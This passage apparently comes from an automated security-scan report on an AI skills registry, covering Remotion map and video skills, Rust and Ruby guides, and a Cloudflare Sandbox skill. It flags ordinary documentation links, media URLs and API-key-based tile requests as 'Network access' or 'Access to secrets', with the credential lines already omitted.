); viewer.terrainProvider = await C.CesiumTerrainProvider.fromUrl( `https://api.maptiler.com/tiles/terrain-quantized-mesh-v2/?key=${MAPTILER_KEY}`, - Network accessline 215
viewer.terrainProvider = await C.CesiumTerrainProvider.fromUrl( `https://api.maptiler.com/tiles/terrain-quantized-mesh-v2/?key=${MAPTILER_KEY}`, {requestVertexNormals: true}, - Network accessline 216
[Credential-related source omitted] - Access to secretsline 216
[Credential-related source omitted] - Network accessline 219
viewer.creditDisplay.addStaticCredit( new C.Credit( '<a href="https://www.maptiler.com/copyright/" target="_blank">© MapTiler</a>', - Network accessline 220
new C.Credit( '<a href="https://www.maptiler.com/copyright/" target="_blank">© MapTiler</a>', true, - Network accessline 221
'<a href="https://www.maptiler.com/copyright/" target="_blank">© MapTiler</a>', - Network accessline 227
viewer.scene.globe.show = false; const tileset = await C.Cesium3DTileset.fromUrl( `https://tile.googleapis.com/v1/3dtiles/root.json?key=${GOOGLE_MAPS_API_KEY}`, - Network accessline 228
const tileset = await C.Cesium3DTileset.fromUrl( `https://tile.googleapis.com/v1/3dtiles/root.json?key=${GOOGLE_MAPS_API_KEY}`, { - Network accessline 229
[Credential-related source omitted] - Access to secretsline 229
[Credential-related source omitted]
packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/remotion-maps/techniques/cesium/assets/example-Root.tsx
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/remotion-maps/techniques/cesium/assets/flight-path.ts
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/remotion-maps/techniques/cesium/references/3d-data-sources.md
- Network accessline 14
- https://cloud.maptiler.com/account/keys/ - Network accessline 18
- https://docs.maptiler.com/cesium/ - Network accessline 19
- https://docs.maptiler.com/schema-raster/terrain-3d/ - Access to secretsline 25
[Credential-related source omitted] - Network accessline 29
- https://developers.google.com/maps/documentation/tile/get-api-key - Network accessline 36
- https://developers.google.com/maps/documentation/tile/3d-tiles - Network accessline 37
- https://developers.google.com/maps/documentation/tile/policies
packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/remotion-maps/techniques/cesium/references/3d-flyover-architecture.md
- Network accessline 22
viewer.scene.globe.show = false; const tileset = await Cesium.Cesium3DTileset.fromUrl( `https://tile.googleapis.com/v1/3dtiles/root.json?key=${GOOGLE_KEY}`, - Network accessline 23
const tileset = await Cesium.Cesium3DTileset.fromUrl( `https://tile.googleapis.com/v1/3dtiles/root.json?key=${GOOGLE_KEY}`, {showCreditsOnScreen: true, maximumScreenSpaceError: 4}, - Network accessline 24
[Credential-related source omitted] - Access to secretsline 24
[Credential-related source omitted]
packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/remotion-maps/techniques/cesium/scripts/prep-cesium-path.mjs
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/remotion-maps/techniques/mapbox/TECHNIQUE.md
packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/remotion-maps/techniques/maplibre/TECHNIQUE.md
- Network accessline 83
URL.createObjectURL( new Blob( [`import "https://unpkg.com/maplibre-gl@${maplibregl.getVersion()}/dist/maplibre-gl-worker.mjs";`], - Network accessline 84
new Blob( [`import "https://unpkg.com/maplibre-gl@${maplibregl.getVersion()}/dist/maplibre-gl-worker.mjs";`], {type: 'text/javascript'}, - Network accessline 85
[`import "https://unpkg.com/maplibre-gl@${maplibregl.getVersion()}/dist/maplibre-gl-worker.mjs";`], - Network accessline 91
const mapInstance = new maplibregl.Map({ container: containerRef.current, style: 'https://demotiles.maplibre.org/style.json', - Network accessline 92
container: containerRef.current, style: 'https://demotiles.maplibre.org/style.json', center: zurich, - Network accessline 93
style: 'https://demotiles.maplibre.org/style.json', - Network accessline 228
URL.createObjectURL( new Blob( [`import "https://unpkg.com/maplibre-gl@${maplibregl.getVersion()}/dist/maplibre-gl-worker.mjs";`], - Network accessline 229
new Blob( [`import "https://unpkg.com/maplibre-gl@${maplibregl.getVersion()}/dist/maplibre-gl-worker.mjs";`], {type: 'text/javascript'}, - Network accessline 230
[`import "https://unpkg.com/maplibre-gl@${maplibregl.getVersion()}/dist/maplibre-gl-worker.mjs";`], - Network accessline 236
const mapInstance = new maplibregl.Map({ container: containerRef.current, style: 'https://demotiles.maplibre.org/style.json', - Network accessline 237
container: containerRef.current, style: 'https://demotiles.maplibre.org/style.json', center: zurich, - Network accessline 238
style: 'https://demotiles.maplibre.org/style.json', - Network accessline 471
style: 'https://demotiles.maplibre.org/style.json'
packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/remotion-maps/techniques/maptiler/TECHNIQUE.md
- Network accessline 13
Use `jumpTo` only for a static shot, or a fixed map plate for any pan/zoom. Gate with [`delayRender`](https://www.remotion.dev/docs/delay-render.md) until `map.once('idle')`. - Network accessline 14
Gate with [`delayRender`](https://www.remotion.dev/docs/delay-render.md) until `map.once('idle')`. - Network accessline 18
Render labels as positioned [`<Interactive.Div>`](https://www.remotion.dev/docs/interactive.md) elements. - Access to secretsline 20
[Credential-related source omitted]
packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/remotion-maps/techniques/maptiler/assets/CountryLabel.tsx
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/remotion-maps/techniques/maptiler/assets/MapTilerVectorElement.ts
- Executable scriptline 1
Executable file - Network accessline 27
map.addSource(SOURCE_ID, { type: 'vector', url: `https://api.maptiler.com/tiles/v3/tiles.json?key=${apiKey}`, - Network accessline 28
type: 'vector', url: `https://api.maptiler.com/tiles/v3/tiles.json?key=${apiKey}`, }); - Network accessline 29
url: `https://api.maptiler.com/tiles/v3/tiles.json?key=${apiKey}`, - Access to secretsline 63
[Credential-related source omitted]
packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/remotion-maps/techniques/maptiler/assets/RiverReveal.tsx
packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/remotion-maps/techniques/maptiler/assets/example-Root.tsx
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/remotion-maps/techniques/maptiler/assets/tokens.ts
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/remotion-maps/techniques/maptiler/references/map-data-sources.md
- Access to secretsline 38
[Credential-related source omitted]
packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/remotion-maps/techniques/maptiler/scripts/prep-geo.mjs
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/sfx.md
- Network accessline 13
<Audio src={"https://remotion.media/whoosh.wav"} />; - Network accessline 18
- `https://remotion.media/whoosh.wav` - Network accessline 19
- `https://remotion.media/whip.wav` - Network accessline 20
- `https://remotion.media/page-turn.wav` - Network accessline 21
- `https://remotion.media/switch.wav` - Network accessline 22
- `https://remotion.media/mouse-click.wav` - Network accessline 23
- `https://remotion.media/shutter-modern.wav` - Network accessline 24
- `https://remotion.media/shutter-old.wav` - Network accessline 25
- `https://remotion.media/ding.wav` - Network accessline 26
- `https://remotion.media/bruh.wav` - Network accessline 27
- `https://remotion.media/vine-boom.wav` - Network accessline 28
- `https://remotion.media/windows-xp-error.wav` - Network accessline 29
- `https://remotion.media/fah.wav` - Network accessline 30
- `https://remotion.media/spongebob-fail.wav` - Network accessline 31
- `https://remotion.media/omg-hell-nah.wav` - Network accessline 32
- `https://remotion.media/price-is-right-fail.wav` - Network accessline 33
- `https://remotion.media/romance-meme.wav` - Network accessline 34
- `https://remotion.media/bone-crack.wav` - Network accessline 35
- `https://remotion.media/anime-wow.wav` - Network accessline 36
- `https://remotion.media/yippee.wav` - Network accessline 37
- `https://remotion.media/loading-lag.wav` - Network accessline 38
- `https://remotion.media/wilhelm-scream.wav` - Network accessline 39
- `https://remotion.media/mac-quack.wav` - Network accessline 40
- `https://remotion.media/skedaddle.wav` - Network accessline 41
- `https://remotion.media/snapchat-notification.wav` - Network accessline 42
- `https://remotion.media/nelly-ahh.wav` - Network accessline 43
- `https://remotion.media/sanctuary-guardian-what.wav` - Network accessline 44
- `https://remotion.media/minecraft-hurt.wav` - Network accessline 45
- `https://remotion.media/oh-my-god-vine.wav` - Network accessline 46
- `https://remotion.media/illuminati-confirmed.wav` - Network accessline 47
- `https://remotion.media/dramatic-boomer.wav` - Network accessline 48
- `https://remotion.media/triggered.wav` - Network accessline 49
- `https://remotion.media/record-scratch.wav` - Network accessline 51
For more sound effects, search the internet. A good resource is https://github.com/kapishdima/soundcn/tree/main/assets.
packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/text-highlights.md
- Network accessline 12
Docs: https://www.remotion.dev/docs/text-highlights
packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/timing-props.md
- Network accessline 87
See [Timing and trimming](https://www.remotion.dev/docs/timing) for more details.
packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/video-editing.md
- Network accessline 58
<Video name="Opening" src="https://remotion.media/video.mp4" - Network accessline 59
name="Opening" src="https://remotion.media/video.mp4" trimBefore={0} - Network accessline 60
src="https://remotion.media/video.mp4" - Network accessline 65
<Video name="Interview" src="https://remotion.media/video.webm" - Network accessline 66
name="Interview" src="https://remotion.media/video.webm" trimBefore={12} - Network accessline 67
src="https://remotion.media/video.webm" - Network accessline 73
<Video name="Closing" src="https://remotion.media/video.mp4" - Network accessline 74
name="Closing" src="https://remotion.media/video.mp4" trimBefore={72} - Network accessline 75
src="https://remotion.media/video.mp4" - Network accessline 103
<TransitionSeries.Sequence name="Opening" durationInFrames={78} premountFor={fps}> <Video src="https://remotion.media/video.mp4" - Network accessline 104
<Video src="https://remotion.media/video.mp4" trimBefore={0} - Network accessline 105
src="https://remotion.media/video.mp4" - Network accessline 110
<TransitionSeries.Sequence name="Interview" durationInFrames={66} premountFor={fps}> <Video src="https://remotion.media/video.webm" - Network accessline 111
<Video src="https://remotion.media/video.webm" trimBefore={12} - Network accessline 112
src="https://remotion.media/video.webm" - Network accessline 117
<TransitionSeries.Sequence name="Closing" durationInFrames={90} premountFor={fps}> <Video src="https://remotion.media/video.mp4" - Network accessline 118
<Video src="https://remotion.media/video.mp4" trimBefore={72} - Network accessline 119
src="https://remotion.media/video.mp4" - Network accessline 148
<TransitionSeries.Sequence name="Opening" durationInFrames={78} premountFor={fps}> <Video src="https://remotion.media/video.mp4" - Network accessline 149
<Video src="https://remotion.media/video.mp4" trimBefore={0} - Network accessline 150
src="https://remotion.media/video.mp4" - Network accessline 159
<TransitionSeries.Sequence name="Interview" durationInFrames={66} premountFor={fps}> <Video src="https://remotion.media/video.webm" - Network accessline 160
<Video src="https://remotion.media/video.webm" trimBefore={12} - Network accessline 161
src="https://remotion.media/video.webm"
packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/voiceover.md
packages/autoskills/skills-registry/remotion-best-practices/remotion-multimedia/REFERENCE.md
packages/autoskills/skills-registry/remotion-best-practices/remotion-multimedia/assets/remotion-icon.svg
- Network accessline 1
<svg width="100" height="100" viewBox="20 30 363 363" xmlns="http://www.w3.org/2000/svg">
packages/autoskills/skills-registry/remotion-best-practices/remotion-multimedia/get-audio-duration.md
- Network accessline 31
const duration = await getAudioDuration("https://remotion.media/audio.mp3");
packages/autoskills/skills-registry/remotion-best-practices/remotion-multimedia/get-video-dimensions.md
- Network accessline 38
const dimensions = await getVideoDimensions("https://remotion.media/video.mp4");
packages/autoskills/skills-registry/remotion-best-practices/remotion-multimedia/get-video-duration.md
- Network accessline 31
const duration = await getVideoDuration("https://remotion.media/video.mp4");
packages/autoskills/skills-registry/remotion-best-practices/remotion-render/REFERENCE.md
packages/autoskills/skills-registry/remotion-best-practices/remotion-render/assets/remotion-icon.svg
- Network accessline 1
<svg width="100" height="100" viewBox="20 30 363 363" xmlns="http://www.w3.org/2000/svg">
packages/autoskills/skills-registry/remotion-best-practices/remotion-saas/REFERENCE.md
packages/autoskills/skills-registry/remotion-best-practices/remotion-saas/assets/remotion-icon.svg
- Network accessline 1
<svg width="100" height="100" viewBox="20 30 363 363" xmlns="http://www.w3.org/2000/svg">
packages/autoskills/skills-registry/remotion-best-practices/remotion-saas/framework.md
- Network accessline 12
- Next.js: https://github.com/remotion-dev/template-next-app-dir-tailwind. Uses Lambda as default rendering choice. - Network accessline 13
- Vercel Sandbox rendering: https://github.com/remotion-dev/template-vercel. Uses Vercel as default rendering choice. - Network accessline 14
- React Router 7: https://github.com/remotion-dev/template-react-router. Uses Lambda as default rendering choice. - Network accessline 15
- Express.js render server: `packages/template-render-server`: https://github.com/remotion-dev/template-render-server. Uses Node.js as default rendering choice. - Network accessline 19
For an existing app, see https://www.remotion.dev/docs/brownfield-installation.md.
packages/autoskills/skills-registry/remotion-best-practices/remotion-saas/player.md
- Network accessline 28
If metadata is dynamic, sync the Player props manually or reuse the composition's `calculateMetadata()` logic. Link https://www.remotion.dev/docs/dynamic-metadata.md#with-the-player. - Network accessline 29
Link https://www.remotion.dev/docs/dynamic-metadata.md#with-the-player. - Network accessline 31
Full API for the Player: https://www.remotion.dev/docs/player/player.md.
packages/autoskills/skills-registry/remotion-best-practices/remotion-saas/rendering.md
- Network accessline 13
See https://www.remotion.dev/docs/compare-ssr.md for the tradeoffs between server-side rendering options. - Network accessline 19
- SSR overview: https://www.remotion.dev/docs/ssr.md - Network accessline 20
- Renderer package: https://www.remotion.dev/docs/renderer.md - Network accessline 21
- Node SSR: https://www.remotion.dev/docs/ssr-node.md - Network accessline 23
For a reference server with render, progress, and cancel endpoints, see https://github.com/remotion-dev/template-render-server. - Network accessline 29
- Overview: https://www.remotion.dev/docs/lambda.md - Network accessline 30
- API: https://www.remotion.dev/docs/lambda/api.md - Network accessline 35
When recommending Lambda, offer the user to guide through the setup flow and keep the docs page open as the canonical checklist: https://www.remotion.dev/docs/lambda/setup.md. - Access to secretsline 42
[Credential-related source omitted] - Network accessline 55
See https://www.remotion.dev/docs/vercel-sandbox.md for more info. - Network accessline 59
See https://www.remotion.dev/docs/ssr.md#render-using-github-actions for how to render on GitHub Actions. - Network accessline 64
See https://www.remotion.dev/docs/azure-container-apps.md if rendering on Azure Container Apps is requested. - Network accessline 69
See https://www.remotion.dev/docs/cloudflare-containers.md if rendering on Cloudflare Containers is requested.
packages/autoskills/skills-registry/remotion-best-practices/remotion-studio/assets/remotion-icon.svg
- Network accessline 1
<svg width="100" height="100" viewBox="20 30 363 363" xmlns="http://www.w3.org/2000/svg">
packages/autoskills/skills-registry/remotion-best-practices/remotion-upgrade/REFERENCE.md
- Network accessline 31
The [Remotion releases](https://github.com/remotion-dev/remotion/releases) contain the changelog and may be useful for summarizing relevant changes after the upgrade.
packages/autoskills/skills-registry/remotion-best-practices/remotion-upgrade/assets/remotion-icon.svg
- Network accessline 1
<svg width="100" height="100" viewBox="20 30 363 363" xmlns="http://www.w3.org/2000/svg">
packages/autoskills/skills-registry/ruby/SKILL.md
packages/autoskills/skills-registry/ruby/references/modern_ruby.md
- Network accessline 169
urls = %w[https://example.com https://example.org]
packages/autoskills/skills-registry/rust-best-practices/SKILL.md
- Network accessline 21
Apply these guidelines when writing or reviewing Rust code. Based on Apollo GraphQL's [Rust Best Practices Handbook](https://github.com/apollographql/rust-best-practices).
packages/autoskills/skills-registry/rust-best-practices/references/chapter_01.md
- Network accessline 509
Different languages have different ways of sorting their imports, in the Rust ecosystem the [standard way](https://github.com/rust-lang/rustfmt/issues/4107) is: - Network accessline 572
> "Duplication is far cheaper than the wrong abstraction." -- [Sandi Metz, The Wrong Abstraction](https://sandimetz.com/blog/2016/1/20/the-wrong-abstraction) - Network accessline 576
From [Martin Fowler's *Refactoring*](https://martinfowler.com/books/refactoring.html), attributed to Don Roberts: - Network accessline 584
[DRY](https://en.wikipedia.org/wiki/Don%27t_repeat_yourself) (*The Pragmatic Programmer*) says every piece of **knowledge** should have a single representation. It does **not** say "no two code fragments may look alike". Two blocks that *ha - Network accessline 611
Every new variant will grow another parameter or branch. And the `bool` is a smell in its own right: `write_entry(out, key, value, true)` tells the reader nothing at the call site -- Martin Fowler calls this a [Flag Argument](https://martin - Network accessline 624
If you find yourself maintaining an abstraction like `write_entry`, [Sandi Metz's advice](https://sandimetz.com/blog/2016/1/20/the-wrong-abstraction) is to **unwind it, not patch it**: - Network accessline 647
In tests, be **even more tolerant of duplication**. The Google Testing Blog calls this [DAMP -- "Descriptive And Meaningful Phrases"](https://testing.googleblog.com/2019/12/testing-on-toilet-tests-too-dry-make.html) ([*Software Engineering
packages/autoskills/skills-registry/rust-best-practices/references/chapter_02.md
- Network accessline 5
Clippy documentation can be found [here](https://doc.rust-lang.org/clippy/usage.html). - Network accessline 41
| Lint Name | Why | Link | | --------- | ----| -----| | `redundant_clone` | Detects unnecessary `clones`, has performance impact | [link (nursery + perf)](https://rust-lang.github.io/rust-clippy/master/#redundant_clone) | - Network accessline 42
| --------- | ----| -----| | `redundant_clone` | Detects unnecessary `clones`, has performance impact | [link (nursery + perf)](https://rust-lang.github.io/rust-clippy/master/#redundant_clone) | | `needless_borrow` group | Removes redundant - Network accessline 43
| `redundant_clone` | Detects unnecessary `clones`, has performance impact | [link (nursery + perf)](https://rust-lang.github.io/rust-clippy/master/#redundant_clone) | - Network accessline 44
| `needless_borrow` group | Removes redundant `&` borrowing | [link (style)](https://rust-lang.github.io/rust-clippy/master/#needless_borrow) | - Network accessline 45
| `map_unwrap_or` / `map_or` | Simplifies nested `Option/Result` handling | [`map_unwrap_or`](https://rust-lang.github.io/rust-clippy/master/#map_unwrap_or) [`unnecessary_map_or`](https://rust-lang.github.io/rust-clippy/master/#unnecessary_ - Network accessline 46
| `manual_ok_or` | Suggest using `.ok_or_else` instead of `match` | [link (style)](https://rust-lang.github.io/rust-clippy/master/#manual_ok_or) | - Network accessline 47
| `large_enum_variant` | Warns if an enum has very large variant which is bad for memory. Suggests `Boxing` it | [link (perf)](https://rust-lang.github.io/rust-clippy/master/#large_enum_variant) | - Network accessline 48
| `unnecessary_wraps` | If your function always returns `Some` or `Ok`, you don't need `Option`/`Result` | [link (pedantic)](https://rust-lang.github.io/rust-clippy/master/#unnecessary_wraps) | - Network accessline 49
| `clone_on_copy` | Catches accidental `.clone()` on `Copy` types like `u32` and `bool` | [link (complexity)](https://rust-lang.github.io/rust-clippy/master/#clone_on_copy) | - Network accessline 50
| `needless_collect` | Prevents collecting and allocating an iterator, when allocation is not needed | [link (nursery)](https://rust-lang.github.io/rust-clippy/master/#needless_collect) |
packages/autoskills/skills-registry/rust-best-practices/references/chapter_03.md
- Network accessline 10
* Use `--release` flag on your builds (might sound dummy, but it is quite common to hear people complaining that their Rust code is slower than their X language code, and 99% of the time is because they didn't use the `--release` flag). * ` - Network accessline 11
* `$ cargo clippy -- -D clippy::perf` gives you important tips on best practices for performance. * [`cargo bench`](https://doc.rust-lang.org/cargo/commands/cargo-bench.html) is a cargo tool to create micro-benchmarks and test different cod - Network accessline 12
* [`cargo bench`](https://doc.rust-lang.org/cargo/commands/cargo-bench.html) is a cargo tool to create micro-benchmarks and test different code solutions. Write a test scenario and bench your solution against the original code, if your impr - Network accessline 13
* [`cargo flamegraph`](https://github.com/flamegraph-rs/flamegraph) a powerful profiler for Rust code. For MacOS, [samply](https://github.com/mstange/samply) might be a better DX option. - Network accessline 15
> #### Further reading on Benchmarking: > - [How to build a Custom Benchmarking Harness in Rust](https://bencher.dev/learn/benchmarking/rust/custom-harness/) - Network accessline 16
> - [How to build a Custom Benchmarking Harness in Rust](https://bencher.dev/learn/benchmarking/rust/custom-harness/) - Network accessline 73
In sections [Borrowing over Cloning](./chapter_01.md#11-borrowing-over-cloning) and [Important Clippy lints to respect](./chapter_02.md#23-important-clippy-lints-to-respect) we mentioned the impacts of cloning and the relevant clippy lint [ - Network accessline 159
Sometimes you don't actually need owned data, but that is not clear from the API perspective, so using [`std::borrow::Cow`](https://doc.rust-lang.org/std/borrow/enum.Cow.html) is a way to efficiently address this case: - Network accessline 189
* Only use `#[inline]` when benchmark proves beneficial, Rust is already pretty good at inlining **without** hints. * Avoid massive stack allocations, box them. Example `let buffer: Box<[u8; 65536]> = Box::new(..)` would first allocate `[u8 - Network accessline 191
* For large `const` arrays, considering using [crate smallvec](https://docs.rs/smallvec/latest/smallvec/) as it behaves like an array, but is smart enough to allocate large arrays on the heap.
packages/autoskills/skills-registry/rust-best-practices/references/chapter_04.md
- Network accessline 9
Rust has a powerful type that wraps fallible data, [`Result`](https://doc.rust-lang.org/std/result/), this allows us to handle Error cases according to our needs and manage the state of the application based on that.
packages/autoskills/skills-registry/rust-best-practices/references/chapter_05.md
- Network accessline 159
If you are testing separate behaviors, make multiple tests each with descriptive names. To avoid boilerplate, either use a shared setup function or [rstest](https://crates.io/crates/rstest) cases *with descriptive test names*: - Network accessline 160
To avoid boilerplate, either use a shared setup function or [rstest](https://crates.io/crates/rstest) cases *with descriptive test names*: - Network accessline 252
* Test for happy paths and common use cases. * Allow external states and side effects, [testcontainers](https://rust.testcontainers.org/) might help. - Network accessline 253
* Allow external states and side effects, [testcontainers](https://rust.testcontainers.org/) might help. - Network accessline 291
* Since Rust 1.96 prefer the stabilized [`assert_matches!`](https://doc.rust-lang.org/std/macro.assert_matches.html) (and [`debug_assert_matches!`](https://doc.rust-lang.org/std/macro.debug_assert_matches.html)) over `assert!(matches!(..))` - Network accessline 297
* Use `#[should_panic]` wisely. It should only be used when panic is the desired behavior, prefer result instead of panic. * There are some other that can enhance your testing experience like: * [`rstest`](https://crates.io/crates/rstes - Network accessline 298
* There are some other that can enhance your testing experience like: * [`rstest`](https://crates.io/crates/rstest): fixture based test framework with procedural macros. * [`pretty_assertions`](https://crates.io/crates/pretty_assert - Network accessline 299
* [`rstest`](https://crates.io/crates/rstest): fixture based test framework with procedural macros. - Network accessline 300
* [`pretty_assertions`](https://crates.io/crates/pretty_assertions): overrides `assert_eq` and `assert_ne`, and creates colorful diffs between them. - Network accessline 330
To learn more about `cargo insta` check out its [documentation](https://insta.rs/docs/quickstart/) as it is a very complete and well documented tool. - Network accessline 374
* Use [redactions](https://insta.rs/docs/redactions/) for unstable fields (randomly generated, timestamps, uuid, etc):
packages/autoskills/skills-registry/rust-best-practices/references/chapter_06.md
packages/autoskills/skills-registry/rust-best-practices/references/chapter_07.md
- Network accessline 5
> Recently it became the standard design pattern of Rust programming. However, it is not exclusive to Rust, as it is achievable and has inspired other languages to do the same [swift](https://swiftology.io/articles/typestate/) and [typescri - Network accessline 23
[Github Example](https://github.com/apollographql/rust-best-practices/tree/main/examples/simple-type-state) - Network accessline 85
[Github Example](https://github.com/apollographql/rust-best-practices/tree/main/examples/type-state-builder) - Network accessline 163
Some libraries are already implementing the builder pattern, like [bon-rs](https://docs.rs/bon/latest/bon/)
packages/autoskills/skills-registry/rust-best-practices/references/chapter_08.md
- Network accessline 158
| Lint | Description | |-------------- |------------------------------------------- | | [missing_docs](https://doc.rust-lang.org/rustdoc/lints.html#missing_docs) | Warns that a public functions, struct, - Network accessline 159
|-------------- |------------------------------------------- | | [missing_docs](https://doc.rust-lang.org/rustdoc/lints.html#missing_docs) | Warns that a public functions, struct, const, enum has missing documentation | | [broke - Network accessline 160
| [missing_docs](https://doc.rust-lang.org/rustdoc/lints.html#missing_docs) | Warns that a public functions, struct, const, enum has missing documentation | - Network accessline 161
| [broken_intra_doc_links](https://doc.rust-lang.org/rustdoc/lints.html#broken_intra_doc_links) | Detects if an internal documentation link is broken. Especially useful when things are renamed. | - Network accessline 162
| [empty_docs](https://rust-lang.github.io/rust-clippy/master/#empty_docs) | Disallow empty docs - preventing bypass of `missing_docs` | - Network accessline 163
| [missing_panics_doc](https://rust-lang.github.io/rust-clippy/master/#missing_panics_doc) | Warns that documentation should have a `# Panics` section if function can panic | - Network accessline 164
| [missing_errors_doc](https://rust-lang.github.io/rust-clippy/master/#missing_errors_doc) | Warns that documentation should have a `# Errors` section if function returns a `Result` explaining `Err` conditions | - Network accessline 165
| [missing_safety_doc](https://rust-lang.github.io/rust-clippy/master/#missing_safety_doc) | Warns that documentation should have a `# Safety` section if public facing functions have visible unsafe blocks | - Network accessline 230
- [ ] Invariants or expectations. - [ ] Example construction or usage. - [ ] Consider using [`#[non_exhaustive]`](https://doc.rust-lang.org/reference/attributes/type_system.html#the-non_exhaustive-attribute) if external users may mat - Network accessline 231
- [ ] Example construction or usage. - [ ] Consider using [`#[non_exhaustive]`](https://doc.rust-lang.org/reference/attributes/type_system.html#the-non_exhaustive-attribute) if external users may match on it. 🔧 Functions and Methods - Network accessline 232
- [ ] Consider using [`#[non_exhaustive]`](https://doc.rust-lang.org/reference/attributes/type_system.html#the-non_exhaustive-attribute) if external users may match on it.
packages/autoskills/skills-registry/rust-best-practices/references/chapter_09.md
- Network accessline 80
### [`Box<T>`](https://doc.rust-lang.org/std/boxed/struct.Box.html) - Heap Allocated - Network accessline 92
### [`Rc<T>`](https://doc.rust-lang.org/std/rc/struct.Rc.html) - Reference Counter (single-thread) - Network accessline 96
### [`Arc<T>`](https://doc.rust-lang.org/std/sync/struct.Arc.html) - Atomic Reference Counter (multi-thread) - Network accessline 100
### [`RefCell<T>`](https://doc.rust-lang.org/std/cell/struct.RefCell.html) - Runtime checked interior mutability - Network accessline 122
### [`Cell<T>`](https://doc.rust-lang.org/std/cell/struct.Cell.html) - Copy-only interior mutability - Network accessline 150
### [`Mutex<T>`](https://doc.rust-lang.org/std/sync/struct.Mutex.html) - Thread-safe mutability - Network accessline 154
### [`RwLock<T>`](https://doc.rust-lang.org/std/sync/struct.RwLock.html) - Thread-safe mutability - Network accessline 159
### [`*const T/*mut T`](https://doc.rust-lang.org/std/primitive.pointer.html) - Raw pointers - Network accessline 171
### [`OnceCell`](https://doc.rust-lang.org/std/cell/struct.OnceCell.html) - Single-thread single initialization container - Network accessline 206
### [`LazyCell`](https://doc.rust-lang.org/std/cell/struct.LazyCell.html) - Lazy initialization of `OnceCell` - Network accessline 210
### [`OnceLock`](https://doc.rust-lang.org/std/sync/struct.OnceLock.html) - thread-safe `OnceCell` - Network accessline 237
### [`LazyLock`](https://doc.rust-lang.org/std/sync/struct.LazyLock.html) - thread-safe `LazyCell` - Network accessline 254
## References - [Mara Bos - Rust Atomics and Locks](https://marabos.nl/atomics/) - Network accessline 255
- [Mara Bos - Rust Atomics and Locks](https://marabos.nl/atomics/) - Network accessline 256
- [Semicolon video on pointers](https://www.youtube.com/watch?v=Ag_6Q44PBNs)
packages/autoskills/skills-registry/sandbox-stable/SKILL.md
- Network accessline 8
Isolated Linux environments on [Cloudflare Containers](https://developers.cloudflare.com/containers/index.md), driven from Workers. - Network accessline 12
This line is the **current stable** default npm package. The main [Sandbox documentation](https://developers.cloudflare.com/sandbox/index.md) describes it. Existing apps can stay here and keep shipping. - Network accessline 27
| `@cloudflare/sandbox@next` or a `next` image | **Stop.** Load **`sandbox-next`**. | | User wants to port to 1.0 / `@next` | **Stop.** Load **`sandbox-migrate-to-next`**. Do not half-apply preview APIs on a stable package. | | Only cleanin - Network accessline 29
| Only cleaning deprecated stable APIs | Stay here; use the [2026 deprecation guide](https://developers.cloudflare.com/sandbox/sdk/migrate/index.md). That is **not** a move to `@next`. | - Network accessline 33
Skills install: [Agent setup](https://developers.cloudflare.com/agent-setup/index.md) · [cloudflare/skills](https://github.com/cloudflare/skills) - Network accessline 44
- Production preview hostnames need wildcard DNS on a custom domain when using those URL patterns. - Do **not** apply `@next` argv/`process.output()` APIs while the dependency is still stable. - Self-deployed **bridge** stays on the stable - Network accessline 46
- Self-deployed **bridge** stays on the stable package and image. [Bridge](https://developers.cloudflare.com/sandbox/sdk/bridge/index.md) - Network accessline 64
| You need to… | Open | | ------------ | ---- | | Orient | [Sandbox overview](https://developers.cloudflare.com/sandbox/index.md) | - Network accessline 65
| ------------ | ---- | | Orient | [Sandbox overview](https://developers.cloudflare.com/sandbox/index.md) | | First Worker, template, Docker | [Get started](https://developers.cloudflare.com/sandbox/get-started/index.md) | - Network accessline 66
| Orient | [Sandbox overview](https://developers.cloudflare.com/sandbox/index.md) | - Network accessline 67
| First Worker, template, Docker | [Get started](https://developers.cloudflare.com/sandbox/get-started/index.md) | - Network accessline 68
| `exec`, streaming, background processes | [Commands API](https://developers.cloudflare.com/sandbox/sdk/api/commands/index.md) · [Execute commands](https://developers.cloudflare.com/sandbox/sdk/guides/execute-commands/index.md) · [Backgrou - Network accessline 69
| Sessions / shell state across commands | [Sessions concept](https://developers.cloudflare.com/sandbox/sdk/concepts/sessions/index.md) · [Sessions API](https://developers.cloudflare.com/sandbox/sdk/api/sessions/index.md) | - Network accessline 70
| `getSandbox` options, sleep, destroy | [Lifecycle API](https://developers.cloudflare.com/sandbox/sdk/api/lifecycle/index.md) · [Sandbox options](https://developers.cloudflare.com/sandbox/sdk/configuration/sandbox-options/index.md) | - Network accessline 71
| Env vars | [Environment variables](https://developers.cloudflare.com/sandbox/sdk/configuration/environment-variables/index.md) | - Network accessline 72
| Files | [Files API](https://developers.cloudflare.com/sandbox/sdk/api/files/index.md) · [Manage files](https://developers.cloudflare.com/sandbox/sdk/guides/manage-files/index.md) · [File watching](https://developers.cloudflare.com/sandbox - Network accessline 73
| Buckets / mounts | [Storage API](https://developers.cloudflare.com/sandbox/sdk/api/storage/index.md) · [Mount buckets](https://developers.cloudflare.com/sandbox/sdk/guides/mount-buckets/index.md) | - Network accessline 74
| Backups | [Backups API](https://developers.cloudflare.com/sandbox/sdk/api/backups/index.md) · [Backup and restore](https://developers.cloudflare.com/sandbox/sdk/guides/backup-restore/index.md) | - Network accessline 75
